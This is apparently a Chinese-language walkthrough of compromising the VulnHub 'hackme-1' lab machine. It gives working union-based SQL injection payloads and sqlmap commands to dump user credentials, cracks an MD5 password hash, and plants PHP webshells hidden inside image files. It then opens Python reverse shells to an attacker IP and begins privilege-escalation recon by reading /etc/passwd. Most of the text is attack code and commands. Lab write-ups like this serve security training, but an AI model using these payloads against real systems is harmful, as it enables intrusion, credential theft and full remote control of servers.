项目地址
https://www.vulnhub.com/entry/hackme-1,330/
主机发现
arp-scan -l
端口扫描
nmap -A 192.168.229.138
扫出来80,22端口开启,访问80端口
发现是个登录页面,有个注册页面,尝试看能否注册用户登录
登录进来后,查看功能
验证是否存在sql注入
OSINT' and 1=1 #
表示存在sql注入
方法一:手工注入
判断字段数
OSINT' order by 3 #
OSINT' order by 4 #
说明字段数为3
判断回显点
-1' union select 1,2,3 #
三个点都存在注入
查询当前数据库
查询表
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
查询列
-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name= 'users' #
查询数据
-1' union select group_concat(user),group_concat(pasword),3 from users#
方法二:使用sqlmap进行爆破
点击submit,burp抓包
找到sqlmap的根目录
在它的根目录下写一个2.txt.将抓到的包的内容写入txt文件中
sqlmap扫描数据库
python sqlmap.py -r 2.txt --dbs
由方法一得知当前数据库名和表,直接爆破其中数据
python sqlmap.py -r 2.txt -D webapphacking -T users --dump --batch
superadmin被md5加密,将这段MD5进行解密
解密网站
https://www.somd5.com/
MD5属于不可逆加密,所以有可能解密失败,但此处可以破解
切换登录用户
登录superadmin
制作图片码上传
写一个一句话木马文件
<?php phpinfo();@eval($_POST['cmd']); ?>
制作图片马
copy 1.jpg/b + 1.php/a 2.jpg
上传的同时抓包修改后缀
访问上传一句话木马的路径
http://192.168.229.138/uploads/2.php
蚁剑连接
反弹shell方法一
将反弹shell脚本放在kali网站根目录下,开启httpd服务
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.30.182",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
代码分析
import socket,subprocess,os:导入了三个标准库模块,分别用于网络通信(socket)、执行子进程(subprocess)和操作系统交互(os)。
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM):创建一个 TCP 套接字对象。
s.connect(("192.168.30.182",1234)):尝试连接到 IP 地址为“192.168.30.182”的主机的 1234 端口。这表明代码可能在尝试与远程服务器建立连接,可能被恶意攻击者用来与他们控制的服务器通信。
os.dup2(s.fileno(),0)、os.dup2(s.fileno(),1)、os.dup2(s.fileno(),2):这三行代码将套接字的文件描述符复制到标准输入(0)、标准输出(1)和标准错误(2)。其目的是将程序的输入输出重定向到与远程服务器的连接上。
p=subprocess.call(["/bin/bash","-i"]):启动一个交互式的 Bash shell。结合前面的重定向操作,这意味着攻击者可以通过远程连接与这个 shell 进行交互,执行任意命令,从而完全控制运行这段代码的系统。
在本机写进一个shell.py拖到虚拟机桌面
在Desktop下执行命令将其移动到网站根目录下
mv shell.py /var/www/html
开启apache服务
service apache2 start
在蚁剑终端下载
wget http://192.168.229.132/shell.py
kali开启监听
nc -vnlp 1234
蚁剑终端运行python文件
python shell.py
kali获得反弹shell
方法二:system命令执行
1.制作图片码
<?php @system($_GET[cmd]);?>
copy 1.jpg/b + 2.php/b 3.jpg
2.上传抓包并修改后缀
3.kali开启监听端口
nc -vnlp 7777
4.浏览器借助hackbar进行访问上传,反弹shell
http://192.168.229.138/uploads/4.php?cmd=python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.229.132",7777));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"])'
5.反弹成功
提权
1.切换为交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
2.识别存在的用户
cat /etc/passwd | grep /bin/bash
3.退回到home目录下ls
cd /
cd home
ls
4.发现两个目录分别进行访问
5.在legacy目录下发现二进制文件,尝试执行
./touchmenot
6.查看权限
id
whoami